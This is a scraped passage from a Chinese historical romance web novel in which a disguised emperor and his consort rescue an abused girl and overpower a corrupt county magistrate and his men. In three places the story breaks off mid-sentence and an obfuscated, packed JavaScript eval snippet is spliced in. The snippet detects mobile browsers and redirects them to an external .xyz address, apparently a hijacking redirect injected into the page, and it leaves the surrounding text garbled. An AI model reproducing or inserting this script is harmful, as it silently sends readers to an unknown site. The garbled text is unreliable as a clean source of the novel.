笑容瞬间收了起来,姜念秋将后背挺得直直的,还举起三根手指头做发誓状:“我保证不会了!” 车队重新整顿,再次出发。 但这回,姜念秋发现车子没沿着原有路线走,而是直接往人烟多的地方去了。 和她想的没错,季寰当是没准备救下人就不管。 应该是刚才就和史奕交代清楚,才会改道的。 一想起那姑娘浑身的伤痕,姜念秋哪儿哪儿都不舒服,乖巧地贴在季寰身边问他:“三爷,您接下来打算怎么办呀?” 最好是亲自去县衙,把那个县令揪出来打一顿! 原来那个地方遭遇的不公实在太多,姜念秋身为底层牛马,不能享受到底层资源也就算了,还要被绑着为那些个人买单。 这可是让她气坏了。 现在好不容易轮到她站顶尖,还不得给珠玉出出气? 也算给自己出气了。 季寰思考了一会儿,下巴抬了下道:“先去驿站,方才那姑娘说得不清白不出,把来龙去脉问清楚了再说。” 如果是姑娘罪有应得,他绝不插手。 不是比惨就是有道理的。 他小的时候也曾见着宫人被罚而心中愧疚,可是后来发现,这些个人确实犯下过错。 不罚只会变本加厉。 所以未弄清楚之前,绝不能轻举妄动。 姜念秋觉得他说得更有道理,将身子贴得他更近:“我全听三爷的!” 贴得近了,她的柔`软便能轻易被感知到。 蹭得有些心思心猿意马。 “你再贴过来,我一样把你扔下马车,信不信?” 这话被季寰说得凉飕飕的,姜念秋还以为是他依旧记着仇呢,就撒开手了。 仅有四辆马车进了宿县县城。 一则是这些人手对抗足够,另一则是浩浩荡荡七八辆马车进城,只会夺人目光。 更容易招惹祸事。 到了驿站,珠玉被史奕提来。 见着季寰后,珠玉砰得一下子就跪下了,头迟迟不肯抬起来。 有感激,也有劫后余生的震荡。 珠玉身上已经大大小小缠了不少的药膏纱布。 这么一直跪着对她的身子着实不好。 想到这里,姜念秋又要下意识起身把人搀扶起来,还是季寰一记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821859|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼刀,把人拦了回去。 可心疼是暂时没办法止住的。 她一个劲儿地给小翠使眼色,还故意说:“姑娘,你先起来,三爷这儿不用这么大礼,把话跟三爷说清楚,叫三爷为你做主才是正经事。” 小翠根本不敢贸然上前。 心想自家这位主子当真是胆子够大的。 出来了居然敢当着皇上的面儿,做皇上的主。 见季寰没什么反应,史奕亲手把人拉了起来。 为了减少被发觉身份的可能,也为了给季寰和姜念秋安全保障,那姑娘的椅子放得远了些。 珠玉眼眸低垂着,长睫之上逐渐有湿意。 她声音带着颤抖:“小女乃是宿县人士,家中父亲乃是秀才,与本县县令曾是同窗。” 欸? 姜念秋脸上的同情稍稍削弱了些。 她是秀才的女儿,她父亲还和县令是同学,怎么会沦落至此? 而且,是同学,怎么会是那种关系? 姜念秋摇摇头,指出不对劲的地方:“那刚才你和我说的,县令要纳你做小妾,这不对吧?” 任凭谁家的正常人,会把好朋友的女儿纳为小妾呢? 她父亲也就这么禽`兽不如,把女儿拱手让给县令? 说完,她就后悔了。 这时候不是她那个时候。 杨妃和明帝不就这样? 那还是明帝自己亲生儿子的媳妇呢,还不是照下手不误。 可见这时候权柄大过一切。 还是季寰镇定,他眼眸甚至没动过,只是轻轻落在珠玉的脸上,仔细判断着她说得每一句话。 珠玉闻言,再次跪下。 仿佛姜念秋的话彻底将她的心理防线击倒了。 清泪止不住地往下流淌着。 “夫人容禀,我自小丧母,爹爹其实已过身半年有余了,当初爹爹在世时,县令仍能装出一副长辈模样,爹爹过身,丧仪之上县令假意为我`操办……我以为,他待我不比别人,没想到这半年内他就没停过苟且举止,非要在家门口叫家丁引我充盈府邸……” 说到后来,珠玉早已承受不来巨大的压力,腰玩下去,捂着胸口泣不成声。 第123章 投告无门 第一百二十三章投告无门 听完,姜念秋已然愣住。 纵使她想到明帝和杨妃有了心理预期,也没想到真相居然这么令人作呕。 她一下子从自己的凳子上弹跳起来,就差拍桌子了:“这如何使得!还要不要脸了?!” “你家的亲戚没出手护着你吗?” 一提及此处,珠玉泪意更汹涌了,摇着头不肯说话。 姜念秋想明白了其中关窍。 估计是她家亲戚都惧怕县令威严,生怕惹祸上身,这才将这孩子就这么扔下。 看她的样子,应当不过十四五而已。 这县令着实猪狗不如,人家父亲在世的时候,装得人模狗样,父亲没了,便仗着官位作威作福。 就不怕午夜梦回的时候被她父亲敲门索命? 越想越觉得珠玉可怜,姜念秋没忍住,上前抱住珠玉。 与此同时,史奕出去了一趟,再进来的时候直冲季寰而去,在他耳边说了些什么。 渐渐的,季寰眼中的探寻和怀疑散开。 姜念秋随着珠玉一样湿了眼眶,拿自个儿的手帕给她擦脸:“姑娘别哭,这些罪都是县令做的,你哭是伤自个儿的身子!” 凭什么受害者就得受这样子的折磨。 叫她说,珠玉这个年岁能够坚持到这时已经是奇迹了。 若非她足够坚韧,换做她早就宁为玉碎不为瓦全了。 很快,泪湿完了手帕。 季寰往旁边的小翠看了一眼,小翠瞬间明白过来,将主子拉了起来,自己去扶着姑娘坐下。 在处理完那些家丁后,季寰便已经派人去往城中,搜寻有关县令的风月之事。 没想到当真顺着线索查着了这丫头的遭遇。 名字、家中情况全对上了,便能信她的话。 季寰终于开口,问道:“县令如此,你就没想着去知州处告他一状?” 县令之上仍有更高一级的官员。 宿县距离知州所在也不算很远。 难不成此地的知州亦从里烂掉了? 想着,季寰皱起了眉头。 珠玉轻声叹了口气,回忆起当初知州还要劝她寻个“好”去处时的嘴脸,差点儿吐出来。 她死死攥着衣角的手,指尖泛白,再用力下去,只怕是完全麻了。 珠玉竭力摒弃那些个人的可怖面庞,可当她注视着眼前人后,更是肩膀一缩。 此人气势着实不凡,举止自然却隐隐透露出骨子里的贵气。 逼得她再次低垂下头来,说话的语气也不由自觉地紧张许多:“大爷,此地官员蛇鼠一窝,小女哪里有机会痛陈冤情呢?” 姜念秋已完全气得浑身发抖。 她本以为她原来在的那个时间段足够黑暗,可不曾想这是千秋万代传下来的“破习俗”。 光是听着就令人恨得牙根痒痒,恨不得把这些官员抽筋扒皮! 更别说眼前十四五岁的姑娘要独自承担这些了。 现在再看珠玉,她身上紧紧裹着的衣裳,不是只因为生活拮据,更是因为她需要傍身衣裳好逃跑…… 越想越觉得心酸。 季寰眼神凌冽,沉吟片刻后给了珠玉承诺:“姑娘且先跟他们下去找间厢房歇息,你可放心,我既遇着了你的事儿,便不会不管。” 闻言,姜念秋在心里大喊:认识你这么久,这时候最棒了! 珠玉抬起头,眼神迫切:“真的吗?” 同时,也有些疑惑。 看着贵气逼人的人,能跟那些个恶人相抗衡? 一边怀疑着,珠玉往姜念秋那边瞟了一眼。 姜念秋察觉到珠玉有些犹豫,狠劲儿点了点头。 在这梁朝的天下,没有人比眼前人说的话更有用了。 珠玉心中大喜,今日是叫她撞上了大运,碰着了这么好的人! 她不住叩头说道:“多谢大爷、多谢夫人!” “姑娘,请跟我来吧。”史奕带路,将珠玉引了出去。 季寰正想着该如何破局,余光瞥见身旁之人也跟着站了起来。 他起身跨步,直接将人拉了回来,奇怪地问:“叫小翠去照看她就是了,你去能做什么?” “我看着那姑娘着实可怜,安慰安慰也好啊。” 姜念秋吸吸鼻子,眼眶红润,动容极了。 眼见她如此,季寰说她傻乎乎的话哽在喉间,怎么也说不出口来。 最终还是放开手叫她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821860|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 说到底,姜念秋大不过珠玉几岁,能产生共鸣也是应当的。 厢房内只剩下季寰一人时,他翻看起了在宫中写下的密函。 赋税不清的地带中根本没有宿县。 其中是否有鬼? 约莫一个时辰之后,姜念秋终于回来。 可说话都带着点儿鼻音了:“三爷,您看此事我们是否要去见见这位县令?” 看着珠玉那么可怜,姜念秋恨不得手刃了他! 季寰从密函之上抬起头来,注意到了她更红的眼睛,眉间微蹙。 就说不让她去,还不听话…… 他叹口气,冲着姜念秋勾勾手指,示意叫人过来。 此刻姜念秋是季寰让干什么干什么,直接站在了他面前。 季寰很是“霸道”地伸手,将人拉住胳膊,拉下半个身子。 顺势再以手掌扣住她脖子后面。 二人额头相抵。 男人的声音很是轻柔,但也足够抚慰她受惊的灵魂:“是得见,不过不是现在。” 坚定的每一个字都牢牢地敲打在了姜念秋心中。 她的胸腔狠狠震颤。 第一次,她感觉到了季寰身为君主自带的震慑力度。 待姜念秋直起身子,看着季寰澄澈黝黑的眸时,她跟着愣了愣。 眼睛眨巴了好几次,然后脱口而出:“您是想……” 原本有些沉重的气氛瞬间变得松泛了许多。 季寰唇角微微勾起:“我只看你眼神,便知道你猜到了我在想什么。” 虽然他们什么都没说,可是姜念秋就是感觉他们两个人说的是一回事。 果不其然,季寰的眼神往旁边桌子上的密函瞟了眼。 姜念秋笑了,看他的目光极尽温柔:“跟在您身边这么久了,总得有些长进才行吧?” 有时候很庆幸,得亏是传到了这具身体之中。 老天爷也算待她不薄的。 得到了从未有过的见识。 还有这么一个人。 听她这么说,季寰又起了坏心思,在她腰间轻轻地拧了一下。 只会带起一片酥酥`麻麻的感觉,既不会叫她躲开,更不会让她害怕。 第125章 来了 第一百二十五章来了 罪状大起来,正好把这一片全清理了。 珠玉坐在椅子上,有些害怕,犹豫着不敢说。 他们救了自己,手下的人去知州处告状都被拦了下来。 若是她把这些说出去,会不会给他们造成更大的伤害呢? “珠玉姑娘,但说无妨。” 仅仅是一句话,珠玉却从中感觉到了令人安心的气势。 她抿抿唇,沉吟片刻后悉数道来:“宿县县令谭斯,乃是七八年前走马上任的,起初他并未漏出凶意,还算得上是个好官。” 也正是因为此人善于伪装,她父亲才会与此人算是好友。 百姓们还以为遇着个不错的父母官,纷纷对谭斯示好。 渐渐的,谭斯胃口被养刁了。 他不再满足于几个鸡蛋、几斤猪肉。 转眸盯上了谁家的赋税、谁家的良田。 珠玉眼眶再次红起来:“五六年来,他私下侵占民田、抢民财产、强民妇女……无恶不作,可众人皆投告无门,都只能咽下这个哑巴亏。” 就连她父亲生前,都与他疏离。 是谭斯早就盯上了珠玉,这才对秀才依旧如初。 秀才身故后,恶狼模样全然显露。 说完,珠玉对着姜念秋道:“夫人,珠玉不想大爷和夫人受到牵连,因为这宿县就是他的天下呀!” 真要是县令想要做些什么,他们几个外地人很容易便会落入谭斯手掌心。 “他居然敢这么嚣张……”姜念秋愣怔住。 昨日听完珠玉的描述,姜念秋远远没有今日如此的震惊。 不想这还是个心思城府无比深沉的人。 珠玉口中的“天下”二次,令季寰眼中目光完全变化了。 冰寒如冬日三日也抵不住。 一个县令,活脱脱的就脱离了朝廷,将此处当作了自己的封地。 他连个封王都不配。 封王好歹会喜欢封地的子民。 他呢? 季寰的唇边全是讽刺,狭长丹凤眼中阴沉至极:“呵,是么?” 这句话落在姜念秋耳中,意味极其分明了。 这个县令应该是活不了多久。 她那颗气愤的心抚平不少,给小翠递了个眼神,对珠玉道:“先吃饭。” 得先把肚子填满,其余的都不重要。 有季寰在,所有人都能定下心神。 随后,每个人都提着心吃起饭来,季寰则是将那被难喝至极的茶水咽进腹中。 吃得苦中苦,方为人上人。 “吃点儿甜的。” 说罢,一块儿用糯米纸包裹的糖塞到了季寰嘴巴跟前。 季寰皱眉,头微微往后仰了些。 “我在集市上买的,不甜的。” 紧接着,姜念秋以迅雷不及掩耳盗铃之势,把糖果塞进了他嘴巴里。 没给任何拒绝的迹象。 荷花熬制的糖果在嘴里化开,倒是清新淡雅,的确不怎么甜。 只是被她在荷包里捂得太久了,有些化得太软了。 这顿饭到了尾声,史奕从外头回来,脸色已然变得严肃许多。 他俯身对季寰说道:“三爷,外头远处调来了一队人,一行十八个人,全是精干壮汉,冲着这来了。” “能看出名号么?”季寰垂着眼眸,嘴里嚼着糖。 淡淡的甜味儿弥漫在口腔之中。 史奕摇头。 “没有旗号,但属下觉得像要把咱这驿站围了,属下已经全面戒备,照三爷看,我们可要拿下?” 十八个人? 还是没有旗号的,那这跟乌合之众有什么区别。 姜念秋听着,突然间噗嗤地笑出来,一丁点儿紧张感也没有。 别说是十八个人,就是再多两倍,都不是季寰手下这些密卫的对手。 她可是看着仅仅两个密卫,就把追着珠玉的那些家丁全部制服了。 那股子劲儿,可不是好对付的。 这样子的手下,都不知道有多少。 季寰瞧着她,眼神微微用力,是在做着警告。 都什么时候了,她还笑? 他的眼神实在吓人,姜念秋赶紧闭紧嘴巴,喝她的热茶。 瞪完后,季寰这才翻过身来,对史奕指了指姜念秋和珠玉:“不必,迎他们来,派个得力的送她跟那姑娘离开,其余都退下。” 后面的事儿不该让女人涉险。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821862|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>让史奕把那姑娘送走,再把姜念秋安置在安全的地方,他也能安心解决这个所谓的“土皇帝”。 闻言,姜念秋抬起头,不解地看着季寰。 偏偏人家一个眼神也没给他。 史奕拱手:“属下明白。” 嘱咐完这些话后,季寰转身往楼上走。 珠玉听见了此人要护送自己和夫人离开,她心头大为感动。 此时此刻,什么逃命的念头都没有了。 只有一个想法——不能卷他们进来! 珠玉从桌前站起身,迅速扑到季寰面前,跪下,一个劲儿地磕头,语气已经全然乱掉了:“三爷,夫人,你们快走吧,别为了小女招惹此等**!” 大不了就做了那县令的小妾算了。 她一个人受苦便足够,无辜之人再被县令折腾一次…… 越想越觉得对不住他们,珠玉泫然低声呢喃:“都是我不好,是我克身边的人……” 是她克**自己的亲生母亲,继而是父亲,然后又害了三爷和他夫人。 怪不得亲戚们对她的事儿视而不见。 原来是她命数不好。 姜念秋走过来,握紧珠玉的手,带着她站起身来,还用手帕擦干了再次流淌全脸的泪痕。 什么命数不好,明明是恶人作怪。 和她一个小姑娘有什么关系呢? 来自新时代的女性牵起深受**的女子。 姜念秋轻声安慰:“珠玉姑娘,你放宽心,想收拾我们俩的人还不在这小小宿县呢!” 朝中那么多的权臣都没把季寰搞塌了,一个县令又能翻出多大的风浪。 史奕适时走上前来:“夫人、姑娘,请随我来。” 这驿站后面有一条密道,极其隐蔽,就算是当地人也不一定知道,还是驿丞见着了令牌,知道来人身份不凡才告知的。 从哪儿绕出去,神不知鬼不觉。 珠玉跟在史奕身后,姜念秋却站在后面迟疑。 小翠扶她:“夫人,走吧。” 只见姜念秋像是突然想起什么,伸手在脑袋上摸了摸。 她摸到一支做装饰用的玉簪子,拔了下来,又把耳环摘下来,然后追上前面的珠玉:“等一下!” 第126章 闯见 第一百二十六章 闯见 首饰塞进珠玉手中,再将她的掌心阖上。 姜念秋郑重其事地说道:“这些都给你。” 珠玉愣住,要反驳说不要。 像是预料到珠玉会反驳,姜念秋直接告诉她:“逃出去后,去个安静点儿的地方,自个儿做些小买卖,应该是够了,别委屈了自个儿。” 无论是什么时候,靠着谁都不如靠着自己。 把钱拿在手里,起码能够保证温饱。 说完,姜念秋轻轻推了珠玉一把,对着史奕点点头。 史奕瞬间明白了她的意思,没再多说什么,带着珠玉走了。 小翠亦站在一旁,半句话都没多说。 当姜念秋重新站在季寰身边时,小翠就知道自己没猜错。 主子就是不想离开,可史奕还是把她拉走,怕成为累赘。 季寰居高临下地看着笑嘻嘻走向他的女子,他能感受到自己的心跳。 砰、砰、砰。 很是有力。 同以往任何时候的都不一样。 再开口时,嗓间居然有些干涩:“为何不跟着史奕一起走?” 跟着他是有危险的,她方才没听史奕说? 跟在身边的人已经都撤走了,若是那些人想要做什么,女子是第一个会被盯上的。 即使季寰把话说到这个份儿上,姜念秋还是冲着他傻笑。 “笑什么?” 那笑容实在太灿烂,令季寰险些主动挪开眼睛。 随后,她张开双臂,环绕在他紧实的腰间。 二人贴得很近,姜念秋个头矮他不少,再加上有意埋首,说话就跟在心口说似的:“三爷不走,我当然不能走。” 明明是闷闷的声音,听起来那么温暖。 说完,季寰感到腰间手再次收紧。 这些年来,身居高位的季寰很是清楚一个道理——同甘容易,共苦难如登天。 再喜欢他的人,也不过是想在他身上图谋些什么。 是人、是权、是钱财。 随便是什么。 可没有一个人是像姜念秋这样子,她除了暂且不愿意以残破之躯为他诞育孩儿外,全然不图。 他顿了顿,伸出手搂住她腰肢。 二人回到楼上厢房,推开窗户,果然看见了十八个人将驿站两个口围得水泄不通。 甚至为首的人还抬起头来与季寰对视。 不过,此时太阳光正甚,为首的人根本看不清什么,自然没被季寰冷若寒冰的眼神所吓到。 窗户阖上,季寰转身去问安稳坐着还在吃瓜果的姜念秋:“怕么?” 汁水很足,嚼几下便来不及咽下了,姜念秋腮帮子鼓鼓的。 她缓慢地眨巴两下长睫毛,很是不解。 为什么要怕? 说句不害臊的,她的男人会护着她。 天塌了季寰都会给她撑起一片空间供她求生。 即是如此……姜念秋咽下一股子清甜的汁水,外头对季寰道:“有三爷在,我就什么都不怕。” 她眼中的信赖很是真诚。 其中的澄澈更是别人根本不曾给过他的。 季寰眉梢微微跳动,但幅度很小,几乎不会让任何人察觉出来。 外头传来叮叮咣咣的声音,像是在查楼。 但很奇怪,脚步声到了他们这里,便停下了,然后再拐开,走廊里又回归宁静。 姜念秋跳动有些快速的心再次平静下来。 难不成是吓唬他们? 正当姜念秋自己胡乱猜测时,季寰双手抱在胸前,下巴微微朝那儿扬了扬说道:“好啊,那待会儿来人,你去顶着。” 这句话让姜念秋出岔了气,险些把汁水咽进气管儿里去。 她捂着嘴巴咳嗽。 季寰还算没完全丧失了“人性”,上前给她顺气。 好歹算是出顺了气,她斜着眼睛看季寰。 那目光跟挑衅爷差不了多少。 像是泄愤似的,姜念秋将最后一块儿瓜果塞进嘴巴里,含糊不清地问他:“三爷不怕我卖了您?” 让她去顶着? 除非季寰是真不想活了。 她的三脚猫本事,还不如那个消失了许久的废物系统呢! 季寰眯起眼睛,捏住她腮帮子,逼着她把瓜果吐出来。 还没喘匀了气,吃什么东西! 见她喉咙中呼吸正常了,季寰猛地靠近姜念秋:“要卖人,也得我先吧?你可知那玉簪子和耳环价值多少?” 哦,刚才她顺手把头上的簪子和耳环给了珠玉了。 不是吧,季寰这么小气? 他自己因为不高兴摔碎的那些个古董和翡翠串珠,都得上亿万了。 还跟她计较这些? 这人的气性儿上来了,还真是什么都敢说。 这是还为自己不跟着史奕离开而记仇呢! 姜念秋挑着眉头:“不知道,要不三爷说个数,我以后给您当牛做马还?” 他拿话堵她的嘴巴,姜念秋更是毫不示弱。 季寰冷哼一声:“贫嘴!” 刚刚绷好的严肃脸再也装不下去了,姜念秋眉眼弯弯,笑颜如花。 季寰敲了下她额头:“不许笑了!” 说完,走廊外面再次响起凌乱的脚步声。 这回没有离开。 敲门说话的是驿丞,他恭敬道:“爷,底下来了些县令家的兵,说是有事儿问您,您可有空见见?” 季寰和姜念秋对视一眼,拉开了距离。 看来刚才没有贸然进来,是拿不准里头的人是谁。 在试探虚实呢。 大尾巴狼也会夹着尾巴做人? 真是太阳打西边出来了。 再一个,这县令真是厉害,从古至今,县令家里只允许带着家丁,谁说还允许携带兵种的? 季寰往旁边看了一眼,姜念秋立刻坐在了他身后。 二人冲着门口坐下,品着自己带来的茶。 季寰淡淡说道:“进来吧。” 随着为首的人进来了两个人。 他们先是扫视了一番厢房,然后为首的才装模做样地拱手:“打搅了。” 姜念秋悄悄也看那几个人,思量着季寰一个人单挑他们三个会是谁输谁赢。 季寰冷哼一声,是一丁点儿的面子也没给:“知道打搅,那还进来干什么?” 闻言,姜念秋脑海之中响起了那句娘子的话——“知道蠢还说什么?” 她没忍住,短促地笑了一声。 那小声落在进来的兵耳朵之中,倒像是嘲讽一般。 他咬了咬后槽牙,这次没再对季寰拱手,单刀直枪地问:“听说兄台今早救济了一女子,冒昧问您句,这姑娘眼下何在?” 他们的人查看了整个驿站,根本没找到珠玉的身影。 第127章 庐山真面目 第一百二十七章 庐山真面目 想必那个珠玉应该是被人藏起来,或者是护送走了。 季寰笑了:“我身无傍人,空口白牙的,你凭什么这么说。” 难不成是谁先说,谁就占着理么? 姜念秋鄙夷地瞧着大头兵,心想:你跟诡辩家说这些,真是不自量力。 大头兵眼神凶恶,一副给脸不要脸的样子:“看来,你是不准备给我等个面子了?” 就像是听见了天大的笑话,季寰低低地笑了两声。 感觉到不对劲,驿丞提前跑了。 姜念秋更是想啐他一口。 你算哪根葱,让皇帝给你面子? 就你这号人物,在皇城之中,早就八族诛杀了千百遍了。 他现在还能站在这儿,全看在季寰不愿动动手指。 季寰向前探身,语气冷得宛如冰窖:“你算谁?要我面子?” 大头兵也是来了劲儿,亮出了身后的皮鞭。 “这位仁兄,咱们宿县县令有请,还请挪挪步,如何?” 好了,珠玉口中的恶棍县令没等季寰找上他,反倒是他先到跟前来了。 这还是头一个敢让皇帝上门的县令。 架子可真够大的。 季寰倒是一点儿架子也没有,牢牢牵起了姜念秋的手,下巴抬起来点了下:“你开道。” 大头兵咬牙,恨不得动用私刑。 不过看在县令说的不允许在外留下把柄,才没真的动手。 那个“请”字,说得咬牙切齿。 单独押解他们的马车上就只有他们两个人。 季寰怕姜念秋会害怕,手指轮换着蹭过她的虎口。 小小的一个动作,缓解了不少紧张感。 姜念秋趁机靠在他肩膀上,用仅有二人能听见的声音回应他:“你说的,敢收拾咱们的人并不在这小小宿县。” 短促的一声笑在她耳洞旁炸开,惹得她也笑出来。 马车在一处静谧院子里停下,大头兵撤换下去,随后是一个年岁稍大的声音:“二位,请下来吧。” 季寰牵着人走下去。 姜念秋左右看看,院子角落井然有序地放着一堆的板子。 好像不是平常院子,更像是……衙门? 随后进入的门厅,验证了她的想法。 堂前“明`镜高悬”的四个字高高挂着。 师爷微微俯身:“二位,你们先在此稍候,县令随后便到。” 只剩下他们二人,姜念秋绕着整个厅堂转悠了一圈儿。 没找到什么别扭的地方。 她蹭了下桌子上的灰尘,手指碰了碰看着就便宜的毛笔:“这地方看着倒是清贫得很。” 听说文人都对毛笔有着极端的追求。 衙门中是县令工作的地方,他用的笔居然这么便宜。 外在工作做得还真是好。 季寰一开始没言语,抬着头盯着上头的“明`镜高悬”,开口:“衙门越是清贫,越是养肥了人,你去了瞧瞧那椅子。” 连公桌上的灰尘多落了那么多,县令的心能在百姓身上? 椅子? 姜念秋歪头,那不就是一张灰扑扑的椅子么,有什么好看的? 她踏上台上去,凑近去看,好像纹路有些眼熟。 貌似……在哪里见过这个材质欸! 看着看着,恍然大悟。 “三爷,这竟然是红木的!” 兰台宫中的椅子以前不是什么好材质,自从姜念秋升为宜妃之后,内务府便说她位分高,不适合再用不好的椅子。 后来搬来的那个椅子就跟眼前这把一摸一样! 别看这椅子上了乌色的漆,但纹路骗不了人。 季寰唇角勾了勾:“仅仅一个朝堂便能如此,他的家会是什么样子?” 是同他一般富贵? 姜念秋跳下台子,再看向“明`镜高悬”的牌匾时,就觉得讽刺至极。 随后,一道老迈的声音从后堂传出来:“二位久等了,就是不知道是贵客驾临呢,还是故意同我老头子过不去呢?” 门帘之后走出个年岁在五十左右的人。 姜念秋躲在季寰身后,一脸的作呕。 这人应该就是县令了,好老了! 就是这样一个人,还企图想要纳珠玉为小妾?! 简直是不自量力极了! 而且他身上那身衣裳竟然是苏绣。 苏绣一匹价值连城,进贡皇城的都是有数的,他居然能弄到。 不过看着磨损程度,应该是穿了不少十日的了。 季寰眯眼:“县令此话怎讲?” 那县令背着手,在距离季寰三四米的地方来回踱步:“二位能悄无声息地送走郊外救下的那名女子,便不会是普通人。” 他一开始就觉得不对劲。 此时见了人,才觉得自己先行试探有多明智了。 姜念秋从季寰身后探出颗脑袋来,直接怼他:“我等并没见过什么女子,大人尽管问您的家奴,一问便知。” “你听清了?我们没见过什么女子。” 丝毫面子也没给县令。 县令的耐心彻底失去了,他横着眼:“二位,看来是硬骨头啊……来人呐!” 说完,四五个衙役打扮的男子将他们团团围住。 季寰眉头一紧,伸手把姜念秋推到旁边的椅子那儿:“躲着,我没叫你动,不许出来。” 完了完了,季寰一挑三或许能成。 那四个呢? 姜念秋紧张得出了一身的汗。 正当衙役冲着季寰拿绳子抽去的时候,系统突然间在她脑海之中响起:【检测到有危险,看你右手边椅子下面,有便携弓箭藏在那里。】 弓箭?! 姜念秋紧张之中低下头,一看,果真有个皮套在那儿。 她一拍地面:【够意思!】 季寰一脚踩住板子,一个衙役被制住。 县令注意到了姜念秋,对一个衙役使眼色。 立刻有一个衙役朝着姜念秋来了。 季寰揪下来腰间的玉佩,狠狠朝着那个衙役砸过去。 那衙役的脑袋瞬间被砸出血来。 县令冷哼,亲自朝着姜念秋走过去:“这位兄台以为她今日能躲开?” “既然你们都不愿意配合说说背后靠山,那就叫他们好好地伺候伺候,以免少说了什么,如何?” 这才是他的用意。 他是觉得二人背后有势力,要顺藤摸瓜。 【这玩意儿怎么用啊?】 【你戴在手上,握紧弓弦上箭,松手发射!】 姜念秋迅速套在手腕之上,冲着已经距离季寰很近的一个衙役开弓:“三爷小心!” 第128章 县令被踩 第一百二十八章 县令被踩 姜念秋的那一箭射得很准。 同季寰搏斗的那个衙役被弓箭射中。 就是她还不怎么会用,那一箭不过是误打误撞,正好扎在那衙役的大腿上。 疼得他瞬间龇牙咧嘴,倒在地上连连痛苦嚎叫。 一下子就缠着季寰的少了一个,他压力减少了些。 县令眯眼,直直朝着姜念秋去了:“你个小妇人,还想伤我的人,我借你十来个胆子!” 姜念秋没注意这边,转眼间便见县令已经到了她眼跟前两三米的距离处。 心一惊,手上就不太知道该怎么动了。 弓箭手再也发射不出来。 千钧一发之际,季寰已经解决了纠缠他的衙役,转而扑出去撑着桌子腾空而起,一脚踹在县令身上。 县令再怎么说是个中年男子,体力之上如何能够和季寰抗衡。 他瞬间被掀翻在地,捂着被踹得胳膊动都动不了:“诶哟!真真是遇上了刁民!两个刁民!” 紧绷的神经突然卸下,姜念秋差点儿一屁股坐在地上。 还好有季寰在后面托着,不然就真的要腿软出糗了。 “没事吧?”季寰扶着她,眼中是化不开的担忧。 她摇摇头:“没事,我没事……” 话虽如此,可季寰能感知她的手指早已失去温度。 将她安顿在椅子上歇息,季寰转头过去收拾挣扎着爬起来的县令。 他捡起姜念秋慌乱间掉落在地的一只袖箭,没给那人起身的机会,抬脚重新把人踹了回去。 脚踏上县令的胸口。 季寰微微俯身,面上冷若冰霜,冷哼道:“不是说要借我们十来个胆子么?借啊!” 后面两个字压制着怒火。 如果不是在外巡游的话,季寰肯定会就此了结了他的。 县令仍有不服,张嘴想要叫喊,让其余的衙役全出来。 然而季寰早有准备。 手指捏住细细的袖箭,就那么戳在了县令的眼睛上。 他冷冷地说道:“你敢喊半个字,招惹了人来,这弓箭下一刻扎得地方就是你的眼睛。” “不信的话,你大可以试试看。” 话落,那袖箭迅速掉落。 县令吓出一身冷汗,胸膛剧烈起伏着。 还好,季寰不过是吓唬他。 在袖箭即将戳到县令瞳孔之时,季寰捏住了袖箭尾端。 他心中毫无波澜,可是县令到了崩溃边缘。 县令死死攥着拳头,还不敢对着眼前这个男子身上招呼,只能虚空放着狠话:“你们、你们……我要你们好看!” 敢在他的地盘上撒野! 分明没把他放在眼里! 姜念秋闻言看了他一眼,恨不得啐他一脸。 缓过神来她也没闲着,用绳子将地上的那些衙役全部棒了起来。 季寰欣赏地看了眼。 果然是个足够聪明的,懂得补刀。 他心情不错,脚上的力气便越发大起来:“是么,现在躺在地上被踩在脚下的人可不是我们。” 说着,季寰甚至笑出了声。 县令忽然间冷静下来。 这人气势实在不同凡响,更加加重了他心里那个深深埋着的想法。 县令冷静下来,脑子迅速转动:“你们究竟是何人?如果是我有眼无珠,我甘愿受罚,为你们开路。” 此人身手矫健,且谈吐之中带着霸气。 和整个宿州不一样的做派,叫县令谭斯汗毛倒起。 很有可能真的如他心中所想,是上头派来查他的。 不然何以解释一来就就走了珠玉那个小丫头? 想到这里,谭斯越发谨慎。 季寰像是听见了什么好笑的笑话,唇边笑容更加讽刺。 “你眼睛是瞎……但给我们开路,你还没这个资格。” 什么时候他季寰要从哪条路,需要一个贪官污吏来开路。 把他当什么? 解决完那些衙役,姜念秋走过来,狠狠地扇了县令一巴掌。 季寰被这举动给震得愣了愣。 还是头一次见着姜念秋动手呢。 她平日里对待宫女儿奴才都是无比宽泛的。 竟也有这样的一面? 当他以为姜念秋是在为自己刚才涉险而复仇的时候,姜念秋重新开口了:“还找那个姑娘吗?!” 原来是在惩戒县令想要强占珠玉为小妾? 